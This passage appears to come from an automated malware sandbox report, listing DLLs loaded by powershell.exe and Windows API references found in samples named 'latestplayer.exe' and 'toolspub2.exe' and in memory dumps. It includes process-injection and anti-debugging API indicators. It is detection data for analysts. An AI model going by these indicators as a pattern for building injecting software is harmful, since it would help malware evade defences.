00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MPCLIENT.DLL (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\MsMpLics.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00000100) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000100)32:T8b2c,Found reference to API (Indicator: "FlsAlloc"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FlsSetValue"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FlsFree"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LCIDToLocaleName"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LCMapStringEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "AreFileApisANSI"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LocaleNameToLCID"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FlsGetValue"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CompareStringEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetDateFormatEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetTimeFormatEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateEventExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateSemaphoreW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateSemaphoreExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateThreadpoolTimer"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetThreadpoolTimer"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CloseThreadpoolTimer"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateThreadpoolWait"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetThreadpoolWait"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CloseThreadpoolWait"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FlushProcessWriteBuffers"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCurrentProcessorNumber"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateSymbolicLinkW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetTickCount64"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitializeConditionVariable"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WakeConditionVariable"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitializeSRWLock"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateThreadpoolWork"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SubmitThreadpoolWork"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CloseThreadpoolWork"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "IsValidLocaleName"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ReadFile"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetModuleFileNameA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WriteProcessMemory"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "VirtualFree"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WriteFile"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "VirtualAlloc"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateMutexA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetVersionExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetComputerNameExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ResumeThread"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetModuleHandleA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "Sleep"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetTempPathA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetLastError"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFileAttributesA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateFileA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CloseHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSystemInfo"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateThread"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetThreadContext"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetProcAddress"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "VirtualAllocEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RemoveDirectoryA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ReadProcessMemory"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateProcessA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateDirectoryA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetThreadContext"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSidIdentifierAuthority"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RegOpenKeyExA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RegSetValueExA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LookupAccountNameA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetUserNameA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSidSubAuthority"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RegQueryValueExA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RegCloseKey"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ShellExecuteA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SHGetFolderPathA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HttpOpenRequestA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetOpenUrlA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetOpenW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetOpenA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetCloseHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HttpSendRequestA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetConnectA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InternetReadFile"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WideCharToMultiByte"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "EnterCriticalSection"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LeaveCriticalSection"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "DeleteCriticalSection"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetLastError"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateEventW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SwitchToThread"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TlsAlloc"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TlsGetValue"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TlsSetValue"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TlsFree"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetModuleHandleW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "EncodePointer"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "DecodePointer"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "MultiByteToWideChar"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CompareStringW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LCMapStringW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetLocaleInfoW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetStringTypeW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCPInfo"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetEvent"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ResetEvent"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCurrentProcess"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "TerminateProcess"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "IsDebuggerPresent"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetStartupInfoW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCurrentProcessId"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCurrentThreadId"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "InitializeSListHead"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RaiseException"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "RtlUnwind"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FreeLibrary"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "LoadLibraryExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ExitProcess"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetModuleHandleExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "CreateFileW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetDriveTypeW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFileType"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "PeekNamedPipe"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetModuleFileNameW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetStdHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCommandLineA"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCommandLineW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFileSizeEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetFilePointerEx"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FlushFileBuffers"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetConsoleCP"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetConsoleMode"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HeapFree"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HeapAlloc"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "IsValidLocale"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "DeleteFileW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetFullPathNameW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetStdHandle"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "ReadConsoleW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HeapReAlloc"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FindClose"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FindFirstFileExW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FindNextFileW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "IsValidCodePage"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetACP"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetOEMCP"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "GetProcessHeap"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "HeapSize"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "SetEndOfFile"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "WriteConsoleW"; File: "latestplayer.exe.3695084506") Found reference to API (Indicator: "MessageBoxW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetActiveWindow"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetLastActivePopup"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetProcessWindowStation"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetVolumeNameForVolumeMountPointA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetConsoleAliasExesA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "DeleteVolumeMountPointA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "InterlockedDecrement"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetTickCount"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "EnumTimeFormatsW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "SetFileShortNameW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "LoadLibraryW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetConsoleAliasExesLengthW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetExitCodeProcess"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetConsoleAliasW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetWriteWatch"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "lstrcatA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "CreateJobObjectA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetPrivateProfileIntW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "InterlockedExchange"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetStartupInfoA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "OpenMutexW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetHandleInformation"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "ReadConsoleOutputCharacterA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GlobalGetAtomNameA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "LocalAlloc"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "MoveFileA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "BuildCommDCBAndTimeoutsW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "RemoveDirectoryW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "FindNextChangeNotification"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "AddAtomA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GlobalWire"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetPrivateProfileSectionNamesA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "FindNextFileA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "EnumDateFormatsA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "SetConsoleCursorInfo"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "EnumDateFormatsW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "FatalAppExitA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "SetCalendarInfoA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "OpenSemaphoreW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "FindFirstVolumeA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "CommConfigDialogW"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "InterlockedIncrement"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "InitializeCriticalSection"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "DeleteFileA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "HeapSetInformation"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "HeapCreate"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "SetHandleCount"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "GetLocaleInfoA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "EnumSystemLocalesA"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "SetFilePointer"; File: "toolspub2.exe.1363130796") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp, 00000000-00000100.00000000.70938.6EE91000.00000020.mdmp, 00000000-00000100.00000000.70938.6F4B1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp, 00000000-00000100.00000000.70938.6EE91000.00000020.mdmp, 00000000-00000100.00000000.70938.6F4B1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000100.00000000.70938.01231000.00000020.mdmp, 00000000-00000100.00000000.70938.6EE91000.00000020.mdmp, 00000000-00000100.00000000.70938.6F4B1000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp, 00000000-00000100.00000000.70938.6F4C5000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EF21000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000100.00000000.70938.01241000.00000002.mdmp, 00000000-00000100.00000000.70938.6EE91000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: 